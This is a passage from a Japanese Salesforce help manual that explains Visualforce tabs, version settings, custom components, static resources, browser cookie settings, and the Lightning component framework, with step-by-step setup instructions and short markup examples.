c. ファイルを選択し、[OK] をクリックします。新規カスタムタブウィザードが表示されます。

7. 必要に応じて、[Salesforce Classic Mobile 準備完了] チェックボックスをオンにし、Visualforce ペー
ジが Salesforce Classic Mobile アプリケーションで正しく表示され、機能することを示します。
このチェックボックスをオンにすると、Salesforce Classic Mobile 設定で使用可能なタブのリストにそのタブが
追加されます。Visualforceタブをモバイル化する前に、Salesforce Classic Mobileタブの考慮事項を確認し、タブ
内の Visualforce ページがモバイルブラウザと互換性があることを確認してください。
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メモ: [Salesforce Classic Mobile 準備完了] チェックボックスは、組織で Salesforce Classic Mobile

が有効になっている場合にのみ表示されます。
この設定は、Salesforce1 アプリケーションの Visualforce タブの表示には影響しません。新しい Visualforce

タブを Salesforce1 で使用できるようにする方法は、「Salesforce1 モバイルアプリケーションの Visualforce

ページの有効化」 (ページ 1246)および「Visualforce ページの定義」 (ページ 6602)を参照してください。

8. 必要に応じて、初めてそのタブをクリックしたときに内容を紹介するスプラッシュページとして使用する、
カスタムリンクを選択します。Salesforce Classic Mobile アプリケーションにスプラッシュページは表示されま
せん。このタブをモバイル化する場合は、スプラッシュページを使用しないでください。

9. 必要に応じてタブの説明を入力し、[次へ] をクリックします。
10. 新規カスタムタブを使用できるユーザプロファイルを選択します。
11. 新しいタブが含まれるカスタムアプリケーションを指定します。
12. ユーザが個人用の表示をカスタマイズした場合に、カスタマイズした表示設定にタブを追加するには、[各

ユーザのカスタマイズ設定にタブを追加する] チェックボックスをオンにします。
13. [保存] をクリックします。

関連トピック:

Visualforce ページの定義

Visualforce で検出されなかった例外
自分が開発したのではない Visualforce ページにエラーや検出されなかった例外がある場合
• その問題の簡単な説明が Salesforce に表示されます。
• そのページを作成した開発者は、この組織とユーザ ID を持つメールでエラーを受け取ります。それ以外の

ユーザデータは、レポートには含まれていません。
開発モードにあり、そのページとは同じ名前空間にはいない場合、例外メッセージ、例外種別、および開発者
がメールで受信した通知を見ることができます。
自分が開発者でページと同じ名前空間にいる場合、かつ、開発モードではない場合、例外メッセージが表示さ
れます。開発者に通知したことを示すメッセージが表示される場合もあります。開発モードの場合、例外メッ
セージ、例外種別、および Apex スタック追跡が表示されます。

関連トピック:

コードのデバッグ

6609

コードの使用コードを使用した Salesforce の拡張



Visualforce ページおよびカスタムコンポーネントのバージョン設定の管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Visualforceページを作成、
編集、および設定する
• 「アプリケーションの

カスタマイズ」

下位互換性を持たせるため、各 Visualforceページおよびカスタムコンポーネント
が特定のバージョンのVisualforceのほか、指定されたバージョンのAPIのバージョ
ンのバージョン設定で保存されます。Visualforce ページまたはコンポーネントが
インストール済み管理パッケージを参照する場合、このページまたはコンポー
ネントが参照する各管理パッケージのバージョン設定も同時に保存されます。
Visualforce、API、および管理パッケージのコンポーネントが次のバージョンにアッ
プグレードした場合、Visualforce ページおよびコンポーネントは特定の、既知の
動作のバージョンにバインドされます。
パッケージバージョンは、パッケージでアップロードされる一連のコンポーネ
ントを特定する番号です。バージョン番号の形式は
majorNumber.minorNumber.patchNumber  (例: 2.1.3) です。メジャー番号とマ
イナー番号は、メジャーリリース時に選択した値に増えます。patchNumber

は、パッチリリースにのみ生成および更新されます。公開者は、パッケージバー
ジョンを使用して、パッケージを使用する既存の連携に影響を与えることなく
後続のパッケージバージョンをリリースすることにより、管理パッケージのコ
ンポーネントを発展させることができます。

メモ: パッケージコンポーネントと Visualforce カスタムコンポーネントの概
念は大きく異なります。パッケージは、カスタムオブジェクト、Apex クラ
スとトリガ、カスタムページおよびカスタムコンポーネントなどの、多く
の要素で構成されます。

Visualforce ページまたはカスタムコンポーネントに Salesforce API および Visualforce のバージョンを設定する手順
は、次のとおりです。
1. Visualforce ページまたはコンポーネントを編集して、[バージョン設定] をクリックします。

メモ:  [設定] でページまたはコンポーネントを編集する場合にのみ、[バージョン設定] タブのページま
たはカスタムコンポーネントのバージョン設定を変更できます。

2. Salesforce API の[バージョン]を選択します。このバージョンは、ページまたはコンポーネントで使用する
Visualforce のバージョンも示します。

3. [保存] をクリックします。
Visualforceページまたはカスタムコンポーネントのパッケージバージョンを設定する手順は、次のとおりです。
1. Visualforce ページまたはコンポーネントを編集して、[バージョン設定] をクリックします。
2. Visualforce ページまたはコンポーネントが参照する各管理パッケージの[バージョン]を選択します。より新

しいバージョンの管理パッケージがインストールされても、バージョン設定を手動で更新しない限り、ペー
ジまたはコンポーネントではこのバージョンの管理パッケージが引き続き使用されます。インストール済
み管理パッケージを設定リストに追加するには、使用可能なパッケージのリストからパッケージを選択し
ます。ページまたはコンポーネントに関連付けていないインストール済み管理パッケージがある場合にの
み、リストは表示されます。

3. [保存] をクリックします。
パッケージバージョン設定を使用する場合は、次のことに注意してください。
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• 管理パッケージのバージョンを指定せずに、管理パッケージを参照するVisualforceページまたはカスタムコ
ンポーネントを保存する場合、ページまたはコンポーネントは、デフォルトで最新のインストールバージョ
ンの管理パッケージと関連付けられます。

• パッケージがページまたはコンポーネントにより参照されている場合は、管理パッケージのVisualforceペー
ジまたはコンポーネントのバージョン設定を[削除]することはできません。管理パッケージの参照元を調べ
るには、[連動関係の表示] を使用します。

ブラウザセキュリティ設定と Visualforce

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

一部の Visualforce ページは *.force.com サーバから実行されます。ブラウザの
信頼できるサイトが *.salesforce.com を含むよう設定すると、リストに
*.force.com を追加する必要があります。
ブラウザおよびブラウザの設定によって、一部のページで次のようなエラーが
表示されます。
Your browser privacy settings have prevented this page from
showing some content. To display this content you need to change
your browser privacy settings to allow "Third Party" cookies
from the domain mypages.na1.visual.force.com. Alternatively,
if your browser is Internet Explorer, you can add
mypages.na1.visual.force.com to your trusted sites list in the
security options page.

Salesforceには、一部のページに P3P (Platform for Privacy Preferences Project) ヘッダーが
指定されています。ヘッダーの設定は、次のとおりです。
目的

CUR - 情報を使用して、情報が提供された活動を完了します。
カテゴリ

STA - HTTP Cookie のような、ユーザとの処理状態を把握できるセッションを維持するための、または特定の
サイトにアクセスまたは特定のコンテンツに以前アクセスしたユーザを自動的に認識するためのメカニズ
ム。

受信者
OTR - さまざまな実例にしたがう法人。ユーザはこの使用を選択することも除外することもできません。

ブラウザが P3P をサポートするよう設定されている場合、このヘッダーにはすべての Visualforce ページを表示
できます。P3P の詳細は、「Platform for Privacy Preferences (P3P) Project」を参照してください。
ブラウザがサードパーティの Cookie をブロックするよう設定され、P3P ヘッダーを使用しない場合、上記のよ
うなエラーが表示され、次のアクションのいずれかを実行します。
• ブラウザに P3P を設定する
• ブラウザ設定をサードパーティの Cookie を許可するよう変更する
• 適切なサーバをブラウザの Cookie 例外リストに追加する
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Visualforce コンポーネント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Visualforce コンポーネントは、Visualforce ページマークアップで使用する、ウィ
ジェット、パネル、ユーザインターフェース要素などの小さく再利用可能な機
能です。標準の Visualforceコンポーネントを使用することも、独自のカスタムコ
ンポーネントを作成することもできます。
Salesforce には、Visualforce ページの作成に使用できる標準の組み込みコンポーネ
ント (<apex:relatedList> および <apex:dataTable> など) のライブラリが
あります。ユーザ独自のカスタムコンポーネントを作成して、このライブラリ
に追加することもできます。
カスタムコンポーネントは、1 ページ以上の Visualforce ページで再利用できる共
通の設計パターンをカプセル化します。カスタムコンポーネントの構成は次の
とおりです。
• <apex:component> タグで囲まれた Visualforce マークアップ
• Apex で作成されたコンポーネントコントローラ (省略可能)。これにより、コ

ンポーネントで、リストの項目の並び替えや値の計算などのロジックを実行
できるようなります。

たとえば、Visualforce ページを使用してフォトアルバムを作成するとします。アルバム内のそれぞれの写真の
境界線は独自の色になっており、その下にはテキストキャプションが表示されます。アルバム内のすべての写
真を表示する場合に Visualforce マークアップを繰り返すのではなく、画像、境界線の色、およびキャプション
を配した singlePhotoという名前のカスタムコンポーネントを定義し、これらの属性を使用してページ上に
画像を表示できます。一度定義すると、組織内のすべての Visualforce ページで、<apex:dataTable> や
<apex:relatedList> などの標準コンポーネントと同じように、singlePhoto カスタムコンポーネントを
活用できます。
開発者がマークアップを再利用できるページテンプレートとは異なり、カスタムコンポーネントは、次の理由
でページテンプレートよりも強力であり、柔軟性に優れています。
• カスタムコンポーネントにより、開発者は、各コンポーネントに渡せる属性を定義できます。属性の値に

よって、最終ページでのマークアップの表示方法と、コンポーネントのそのインスタンスに対して実行さ
れるコントローラベースのロジックを変更できます。この動作は、テンプレートのものとは異なります。
テンプレートでは、テンプレートを使用するページからテンプレートの定義自体に情報を渡す方法があり
ません。

• カスタムコンポーネントの説明は、標準コンポーネントの説明と並んで、アプリケーションのコンポーネ
ント参照ダイアログに表示されます。一方、テンプレートの説明は、ページとして定義されているために、
Salesforce の [設定] エリアからしか参照できません。

Visualforce カスタムコンポーネントの定義
Visualforce カスタムコンポーネントの表示と編集
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Visualforce カスタムコンポーネントの管理

関連トピック:

Visualforce カスタムコンポーネントの定義
Visualforce カスタムコンポーネントの表示と編集

Visualforce カスタムコンポーネントの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムコンポーネント
を作成する
• 「アプリケーションの

カスタマイズ」

Visualforce カスタムコンポーネントを作成する手順は、次のとおりです。
1. Salesforce の [設定] から、[クイック検索] ボックスに「コンポーネント」と入

力し、[Visualforce コンポーネント] を選択します。
2. [新規] をクリックします。
3. [表示ラベル]テキストボックスに、設定ツールでカスタムコンポーネントの

識別に使用するテキストを入力します。
4. [名前] テキストボックスに、Visualforce マークアップ内でカスタムコンポー

ネントを識別するテキストを入力します。この名前は、アンダースコアと英
数字のみを使用でき、組織内で一意にする必要があります。最初は文字であ
ること、空白は使用しない、最後にアンダースコアを使用しない、2 つ続け
てアンダースコアを使用しないという制約があります。

5. [説明] テキストボックスに、カスタムコンポーネント説明を入力します。
この説明は、[保存] をクリックするとすぐに、他の標準コンポーネントの説
明と共にコンポーネント参照に表示されます。

6. [内容]テキストボックスに、カスタムコンポーネント定義用のVisualforceマー
クアップを入力します。1 つのコンポーネントに、最大 1 MB のテキスト、約
1,000,000 文字を入れることができます。

7. [バージョン設定]をクリックして、Visualforceのバージョンとこのコンポーネ
ントで使用する API を指定します。また、組織にインストールされている管
理パッケージのバージョンを指定できます。

8. [保存]をクリックし、変更を保存してカスタムコンポーネントの詳細画面を参照するか、[適用]をクリック
し、変更を保存してコンポーネントの編集を続行します。コンポーネントを保存するには、Visualforce マー
クアップが有効になっている必要があります。

メモ: カスタムコンポーネントは、Visualforce の開発モードで、Visualforce ページマークアップにまだ存在
しないカスタムコンポーネントへの参照を追加することによって作成することもできます。マークアッ
プを保存すると、コンポーネントに指定した名前に基づいて (指定の属性を含む) 新規のコンポーネント定
義を作成するためのクイック修正リンクが表示されます。
たとえば、myNewComponentというカスタムコンポーネントがまだ定義されていない場合に、既存のペー
ジマークアップに <c:myNewComponent myNewAttribute="foo"/> を挿入して [保存] をクリックする
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と、クイック修正によって myNewComponent という名前の新規カスタムコンポーネントを定義できま
す。このコンポーネントのデフォルト定義は次のとおりです。
<apex:component>
<apex:attribute name="myattribute" type="String" description="TODO: Describe me"/>
<!-- Begin Default Content REMOVE THIS -->
<h1>Congratulations</h1>
This is your new Component: mynewcomponent
<!-- End Default Content REMOVE THIS -->

</apex:component>

この定義は、[設定] から、[クイック検索] ボックスに「コンポーネント」と入力して [Visualforceコンポー
ネント]を選択し、myNewComponent カスタムコンポーネントの横にある [編集]をクリックして編集できま
す。

関連トピック:

Visualforce コンポーネント
Visualforce コンポーネント

Visualforce カスタムコンポーネントの表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムコンポーネント
をコピー、編集、削除、
またはバージョン設定す
る
• 「アプリケーションの

カスタマイズ」

カスタムコンポーネントの定義を表示するには、[設定] から、[クイック検索]

ボックスに「コンポーネント」と入力して[Visualforceコンポーネント]を選択し、
カスタムコンポーネントの名前をクリックします。
詳細ページから、次の作業を実行できます。
• カスタムコンポーネントを編集するには、[編集] をクリックします。
• カスタムコンポーネントを削除するには、[削除] をクリックします。
• カスタムコンポーネントのコピーを作成するには、[コピー] をクリックしま

す。新規コンポーネントには新しい名前を指定する必要があります。
• 組織内のカスタムコンポーネントへの参照をすべて表示するには、[使用場

所] をクリックします。
• 別のコンポーネント、権限、または設定など、このカスタムコンポーネント

が有効であるために存在する必要があるアイテムを表示するには、[連動関係
の表示] をクリックします。

コンポーネントが作成されたら、
http://mySalesforceInstance/apexcomponent/nameOfNewComponent で
これを参照できます。mySalesforceInstanceの値はSalesforceインスタンスの
ホスト名 (na3.salesforce.com など)、nameOfNewComponent は、カスタム
コンポーネント定義の [名前] 項目の値です。
コンポーネントは、一見 Visualforceページのように表示されます。そのため、コ
ンポーネントが属性またはコンポーネントタグ本体のコンテンツに依存してい
る場合は、この URL から予測と違う結果が生じる場合があります。より正確に
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カスタムコンポーネントをテストするには、コンポーネントを Visualforce ページに追加してからページを表示
してください。

関連トピック:

Visualforce コンポーネント

Visualforce カスタムコンポーネントの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

カスタムコンポーネント
を作成、編集する
• 「アプリケーションの

カスタマイズ」

作成したカスタムコンポーネントを、表示、編集、および削除できます。[設定]

から、[クイック検索]ボックスに「コンポーネント」と入力し、[Visualforceコン
ポーネント] を選択すると、[コンポーネント] リストページが表示されます。こ
のページには、組織に定義されたカスタムコンポーネントのリストが表示され
ます。このページでは、次の操作を実行できます。
• 新規カスタムコンポーネントを定義するには、[新規] をクリックします。
• コンポーネントの詳細情報を表示するには、カスタムコンポーネント名をク

リックします。
• コンポーネントの名前またはマークアップを変更するには、[編集] をクリッ

クします。

メモ: アイコンは、Visualforceカスタムコンポーネントが管理パッケー
ジにインストールされていることを示します。管理パッケージのVisualforce

カスタムコンポーネントを編集または削除することはできません。
アイコンは、以前にリリースされた管理パッケージに含まれるVisualforce

カスタムコンポーネントが、次のパッケージアップロードで削除される
ことを示します。パッケージ詳細ページで、Visualforceカスタムコンポー
ネントを削除しないように選択できます。

• 組織からカスタムコンポーネントを削除するには、[削除]をクリックします。

メモ: Apex クラス、Apex トリガ、Visualforce コンポーネント、Visualforce ペー
ジ、テンプレート、フォルダ、Sコントロール、静的リソース、Web リン
ク、カスタムレポートタイプは、管理パッケージに含まれると名前空間プ
レフィックスが追加されます。ただし、「アプリケーションのカスタマイ
ズ」権限がない場合、名前空間プレフィックスは、テンプレート、フォル
ダ、カスタムレポートタイプでは表示されません。
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静的リソース

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

静的リソースにより、アーカイブ (.zip や .jar ファイルなど)、画像、スタイルシー
ト、JavaScript、その他のファイルなど、Visualforceページ内で参照できるコンテン
ツをアップロードできます。
[ドキュメント] タブにファイルをアップロードするよりも、静的リソースを利用
する方がよい理由は、次のとおりです。
• 関連ファイルを集めたものをディレクトリ階層にパッケージ化し、その階層

を .zip や .jar アーカイブとしてアップロードできます。
• ドキュメント ID をハードコードする代わりに、$Resource グローバル変数

を使用することで、ページマークアップ内の静的リソースを名前で参照でき
ます。
– 単独ファイルを参照するには、差し込み項目として

$Resource.<resource_name> を使用します。このとき、
<resource_name>は、リソースをアップロードしたときに指定した名前
です。次に例を示します。
<apex:image url="{!$Resource.TestImage}" width="50" height="50"/>

または
<apex:includeScript value="{!$Resource.MyJavascriptFile}"/>

– アーカイブ内のファイルを参照するには、URLFOR 関数を使用します。最初のパラメータには、その
アーカイブをアップロードしたときに指定した静的リソース名を、第 2 パラメータには、アーカイブ内
での目的ファイルへのパスを指定します。たとえば、次のとおりです。次に例を示します。
<apex:image url="{!URLFOR($Resource.TestZip,

'images/Bluehills.jpg')}" width="50" height="50"/>

または
<apex:includeScript value="{!URLFOR($Resource.LibraryJS, '/base/subdir/file.js')}"/>

• 静的リソースアーカイブのファイルの相対パスを使用して、アーカイブ内の別のコンテンツを使用できま
す。たとえば、styles.css という CSS ファイルに、次のようなスタイルがあるとします。
table { background-image: url('img/testimage.gif') }

Visualforceページでその CSS を使用する場合、CSS ファイルが画像を検出できるようにする必要があります。
そのためには、styles.cssや img/testimage.gifを含む zip ファイルなどのアーカイブを作成します。
パス構造がアーカイブ内に保持されるようにします。そして、アーカイブファイルを静的リソース
「style_resources」としてアップロードします。ページに、次のコンポーネントを追加します。
<apex:stylesheet value="{!URLFOR($Resource.style_resources, 'styles.css')}"/>

静的リソースにはスタイルシートと画像が両方含まれているため、スタイルシートの相対パスが解決し、
画像が表示されます。

1 つの静的リソースのサイズは、最大 5 MBまでです。組織は、最大 250 MBの静的リソースを使用できます。静
的リソースは、データストレージの容量にカウントされます。
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静的リソースの定義
静的リソースの表示と編集
静的リソースの管理

関連トピック:

静的リソースの定義

静的リソースの定義

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

静的リソースを作成する
• 「アプリケーションの

カスタマイズ」

静的リソースを作成する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「静的リソース」と入力し、[静的リ

ソース] を選択します。
2. [新規] をクリックします。
3. [名前] テキストボックスで、Visualforce マークアップ内でリソースの識別に

使われるテキストを入力します。この名前は、アンダースコアと英数字のみ
を使用でき、組織内で一意にする必要があります。最初は文字であること、
空白は使用しない、最後にアンダースコアを使用しない、2 つ続けてアンダー
スコアを使用しないという制約があります。

メモ: Visualforceマークアップで静的リソースを参照し、そのリソースの
名前を変更すると、Visualforceマークアップが更新されその変更が反映さ
れます。

4. [説明] テキストエリアで、リソースの任意の説明を指定します。
5. [ファイル]テキストボックスの横にある[参照]をクリックして、アップロー

ドするリソースのローカルコピーへ移動します。
1 つの静的リソースのサイズは、最大5 MB、1 組織が持てる静的リソースの合
計は最大 250 MB です。

6. [キャッシュコントロール] を次のように設定します。
• [非公開]は、Salesforceサーバにキャッシュされた静的リソースデータを他のユーザと共有しないことを

指定します。静的リソースは、現在のユーザのセッションについてのみキャッシュに保存されます。

メモ: 静的リソースのキャッシュ設定は、ゲストユーザのプロファイルが IP 範囲またはログイン時
間に基づいて制限されている Force.com サイトを介してアクセスする場合は、非公開に設定されま
す。ゲストユーザプロファイル制限のあるサイトでは、ブラウザ内でのみ静的リソースをキャッ
シュします。また、以前は無制限であったサイトに制限が設定されると、Salesforceキャッシュおよ
び中間キャッシュから静的リソースが解放されるまでに最大 45 日かかる場合があります。

• [公開]は、Salesforceサーバにキャッシュされた静的リソースデータを、読み込み時間を短縮するために
組織の他のユーザと共有することを指定します。

ヘッダー項目定義に関する W3C 仕様には、キャッシュ管理に関するより詳細な技術情報があります。

メモ: この機能は、サイト、つまり、静的なリソースを使用する有効な組織についてのみ有効です。
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7. [保存] をクリックします。

警告:  WinZip を使用する場合、必ず最新バージョンをインストールしてください。以前のバージョンの
WinZip ではデータが失われる可能性があります。

関連トピック:

静的リソースの表示と編集
静的リソース

静的リソースの表示と編集

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

静的リソースをコピー、
編集、または削除する
• 「アプリケーションの

カスタマイズ」

[設定] から、[クイック検索]ボックスに「静的リソース」と入力して[静的リソー
ス] を選択し、リソース名をクリックすると、MIME のタイプ、リソースサイズ
(バイト)、作成日時、最終更新日時を含む詳細が表示されます。
詳細ページから、次の作業を実行できます。
• リソースを編集するには、[編集] をクリックします。
• リソースを削除するには、[削除] をクリックします。
• リソースのコピーを作成するには、[コピー]をクリックします。新しいリソー

スには新しい名前を指定する必要があります。
• 組織内のその静的リソースへの参照をすべて表示するには、[使用場所] をク

リックします。

関連トピック:

静的リソースの定義
静的リソースの管理
静的リソース
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静的リソースの管理

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

静的リソースを作成およ
び編集する
• 「アプリケーションの

カスタマイズ」

作成した静的リソースは、カスタマイズ、編集、および削除できます。[設定] か
ら、[クイック検索]ボックスに「静的リソース」と入力し、[静的リソース]を選
択すると、[静的リソース] リストページが表示されます。このページには、組織
に定義された静的リソースのリストが表示されます。このページでは、次の操
作を実行できます。
• 新しい静的リソースを定義するには、[新規静的リソース]をクリックします。
• MIME タイプやサイズなど、そのページの詳細情報を表示するには、リソース

名をクリックします。
• リソース名の変更やリソースの新規バージョンのアップロードを行うには、

リソース名の横にある [編集] をクリックします。
• リソースを削除するには、[削除] をクリックします。

メモ: Apex クラス、Apex トリガ、Visualforce コンポーネント、Visualforce ペー
ジ、テンプレート、フォルダ、Sコントロール、静的リソース、Web リン
ク、カスタムレポートタイプは、管理パッケージに含まれると名前空間プ
レフィックスが追加されます。ただし、「アプリケーションのカスタマイ
ズ」権限がない場合、名前空間プレフィックスは、テンプレート、フォル
ダ、カスタムレポートタイプでは表示されません。

関連トピック:

静的リソースの表示と編集
静的リソース
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Lightning コンポーネントフレームワーク

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

UI を使用して Lightning コ
ンポーネントを作成する
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、または
Sandbox

Lightning コンポーネントフレームワークは、モバイルデバイス用およびデスク
トップデバイス用の動的な Web アプリケーションを開発する UI フレームワーク
です。これは、拡張性に優れた単一ページアプリケーションを構築する最新の
フレームワークです。
このフレームワークでは、クライアントとサーバの橋渡しをする、分離された
多層コンポーネント開発がサポートされています。クライアント側では JavaScript、
サーバ側では Apex が使用されます。
Lightning コンポーネントを作成するには、開発者コンソールを使用します。

Lightning コンポーネントフレームワークを使用する理由の概要
Lightning コンポーネントフレームワークを使用したコンポーネントやアプリ
ケーションの構築にはさまざまな利点があります。
Lightning コンポーネントのデバッグモードの有効化
デバッグモードを有効化すると、Lightning コンポーネントで JavaScript コード
をデバッグしやすくなります。
Salesforce1 のカスタムタブとしての Lightning コンポーネントの追加
Lightningコンポーネントをカスタムタブに表示してSalesforce1ユーザが使用で
きるようにします。
Lightning Experience のカスタムタブとしての Lightning コンポーネントの追加
Lightning コンポーネントをカスタムタブに表示して Lightning Experience ユーザ
が使用できるようにします。

関連トピック:

開発者コンソールの機能
Salesforce1 のカスタムタブとしての Lightning コンポーネントの追加
Lightning コンポーネント開発者ガイド
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Lightning コンポーネントフレームワークを使用する理由の概要

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

UI を使用して Lightning コ
ンポーネントを作成する
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
Developer Edition、または
Sandbox。

Lightningコンポーネントフレームワークを使用したコンポーネントやアプリケー
ションの構築にはさまざまな利点があります。
このフレームワークでは、クライアントとサーバの橋渡しをする、分離された
多層コンポーネント開発がサポートされています。クライアント側では JavaScript、
サーバ側では Apex が使用されます。
標準のコンポーネントセット

コンポーネントセットが標準装備されているため、アプリケーションの構築
にすぐに着手できます。アプリケーションのデバイス別の最適化はコンポー
ネントが行うため、最適化に時間を取られることがありません。

リッチコンポーネントエコシステム
業務に対応したコンポーネントを作成し、Salesforce1、Lightning Experience、お
よびコミュニティでそれらを使用できるようにします。Salesforce1ユーザは、
ナビゲーションメニューからコンポーネントにアクセスします。Lightning

Experienceまたはコミュニティをカスタマイズするには、Lightning アプリケー
ションビルダーの Lightningページでドラッグアンドドロップコンポーネント
を使用するか、コミュニティビルダーを使用します。AppExchangeには、組織
で使用できる追加のコンポーネントがあります。同様に、独自のコンポーネ
ントを公開して他のユーザと共有できます。

パフォーマンス
クライアント側で JavaScript に依存するステートフルクライアントとステート
レスサーバアーキテクチャを使用して、UI コンポーネントのメタデータおよ
びアプリケーションデータを管理します。クライアントは、不可欠な場合 (追加メタデータまたはデータを
取得する場合など) にのみサーバをコールします。効率性を最大にするために、サーバはユーザが必要な
データのみを送信します。このフレームワークでは、JSON を使用して、サーバとクライアント間のデータ
をやりとりします。サーバやブラウザ、デバイス、ネットワークがインテリジェントに活用されるため、
開発者はアプリケーションのロジックやインタラクションに集中できます。

イベント駆動型アーキテクチャ
イベント駆動型アーキテクチャを使用して、個々のコンポーネントを適切に切り離します。どのコンポー
ネントも、アプリケーションイベント、または表示可能なコンポーネントイベントを登録できます。

短時間で開発
デスクトップやモバイルデバイスとシームレスに連動する標準コンポーネントにより、チームの取り組み
が迅速化します。アプリケーションをコンポーネントベースで構築するため、並列設計が可能になり、開
発全般の効率性が向上します。
コンポーネントはカプセル化され、内部は非公開に保たれますが、公開形状はコンポーネントのコンシュー
マから参照できます。この強固な分離により、コンポーネント作成者は自由に内部実装の詳細を変更する
ことができ、コンポーネントのコンシューマはこうした変更から隔離されます。

デバイス対応およびブラウザ間の互換性
アプリケーションには応答性が高い設計が使用され、快適なユーザ環境を実現します。Lightning コンポー
ネントフレームワークは、HTML5、CSS3、タッチイベントなど、最新のブラウザテクノロジをサポートして
います。
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Lightning コンポーネントのデバッグモードの有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

UI を使用して Lightning コ
ンポーネントを作成する
エディション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、Developer
Edition、または Sandbox。

デバッグモードを有効化すると、Lightningコンポーネントで JavaScript コードをデ
バッグしやすくなります。
モードには、本番とデバッグの 2 種類があります。デフォルトでは、Lightningコ
ンポーネントフレームワークは本番モードで実行されます。このモードはパ
フォーマンス向上のために最適化されています。Google Closure Compiler を使用し
て JavaScript コードを最適化し、サイズを最小化します。メソッド名とコードは
大幅に難読化されます。
デバッグモードを有効化すると、フレームワークで Google Closure Compiler が使用
されないため、JavaScript コードは最小化されず、容易にコードを読んでデバッ
グを行えるようになります。
組織のデバッグモードを有効化する手順は、次のとおりです。
1. [設定] から、[クイック検索]ボックスに「Lightning コンポーネント」と入

力し、[Lightning コンポーネント] を選択します。
2. [デバッグモードを有効化] チェックボックスをオンにします。
3. [保存] をクリックします。

メモ: [管理パッケージに対して LockerService を有効にする] 設定で
は、管理パッケージからインストールされたコンポーネントで LockerService

が適用されるかどうかを制御できます。このチェックボックスは、
LockerService の重要な更新が有効化されている場合にのみ表示されます。

関連トピック:

Lightning コンポーネントフレームワーク
Lightning コンポーネント開発者ガイド
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Salesforce1 のカスタムタブとしての Lightning コンポーネントの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

UI を使用して Lightning コ
ンポーネントを作成する
エディション: Enterprise
Edition、Performance
Edition、Unlimited
Edition、Developer
Edition、または Sandbox。

ユーザ権限

Lightning コンポーネント
タブを作成する
• 「アプリケーションの

カスタマイズ」

Lightning コンポーネントをカスタムタブに表示して Salesforce1 ユーザが使用でき
るようにします。
追加するコンポーネントで、aura:component タグに
implements="force:appHostable" を追加して変更を保存します。

<aura:component implements="force:appHostable">

appHostable インターフェースにより、コンポーネントがカスタムタブとして使用可能になります。
Lightning コンポーネントを作成するには、開発者コンソールを使用します。
Salesforce1 ナビゲーションメニューにコンポーネントを追加するには、次の手順に従います。
1. コンポーネント用のカスタムLightningコンポーネントタブを作成します。[設定] から、[クイック検索]ボッ

クスに「タブ」と入力し、[タブ] を選択します。

メモ: コンポーネントを Salesforce1 ナビゲーションメニューに追加するには、事前にカスタム Lightning

コンポーネントタブを作成する必要があります。Salesforce フルサイトから Lightning コンポーネントへ
のアクセスはサポートされていません。

2. Salesforce1 ナビゲーションメニューに Lightning コンポーネントを追加します。
a. [設定] から、[クイック検索]ボックスに「ナビゲーション」と入力し、[Salesforce1ナビゲーション]を選

択します。
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b. 作成したカスタムタブを選択し、[追加] をクリックします。
c. 項目を選択し、[上へ] または [下へ] をクリックして並び替えます。

ナビゲーションメニューに、指定した順序で項目が表示されます。[選択済み] リストの最初の項目が、
ユーザの Salesforce1 のランディングページに表示されます。

3. Salesforce1モバイルブラウザアプリケーションを起動して出力を確認します。ナビゲーションメニューに新
しいメニュー項目が表示されます。

